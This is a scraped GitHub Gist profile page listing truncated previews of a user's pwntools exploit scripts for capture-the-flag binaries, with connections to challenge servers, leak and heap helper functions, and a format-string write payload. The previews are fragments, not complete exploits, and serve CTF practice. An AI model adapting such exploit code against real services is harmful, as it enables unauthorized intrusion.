Skip to content

Instantly share code, notes, and snippets.

View crixpwn's full-sized avatar

crixer crixpwn

View GitHub Profile
@crixpwn
crixpwn / malloc.py
Last active December 14, 2016 05:05
import time
from pwn import *
p = process("./malloc")
#p = remote("localhost", 4000)
def get_stackptr():
p.recvuntil("Stack Address : ")
stackptr = int(p.recvuntil("\n"), 16)
p.recvuntil("> ")
@crixpwn
crixpwn / remote.py
Last active October 16, 2016 11:51
from pwn import *
#HDCON SYSTEM1 challenge
#HDCON is ctf for koreans
#you can also download a binary here http://blog.pwning.me/attachment/cfile8.uf@2521793F58034E740F0289
r = remote("", 9979)
payload = "MH "
payload += ":" * 32
from pwn import *
from hexdump import *
import time
p = process("./megabox")
def write(data):
p.sendline("1")
time.sleep(0.1)
from pwn import *
from hexdump import *
p = process("./casino")
def getMoney():
p.sendline("1")
p.sendline("100")
p.sendline("-1")
from pwn import *
from hexdump import *
p = process("./pwnit")
def leak():
p.sendline("1")
p.sendline("16")
p.recvuntil("1000)")
from pwn import *
from time import *
from hexdump import *
#p = process("./pwn100")
p = remote("52.199.49.117", 10002)
def fsb():
p.sendline("%100000d%7$n")
from pwn import *
#p = process("./ez_heap")
p = remote("52.199.49.117", 10003)
def getHeaptr():
buf = p.recvline()
heaptr = int(buf[:-1], 16)
log.info("heap: " + hex(heaptr))
from pwn import *
from time import *
from hexdump import *
p = process("./solo")
def malloc(idx, size, data):
p.sendline("1")
p.sendline(idx)
from pwn import *
from hexdump import *
import time
#r = remote("localhost", 8889)
r = remote("110.10.212.130", 8889)
def echo(data):
r.sendline("1")
time.sleep(0.1)
from pwn import *
from hexdump import *
import time
p = process("./messenger")
#p = remote("110.10.212.137", 3334)
def leave(size, data):
p.sendline("L")
time.sleep(0.1)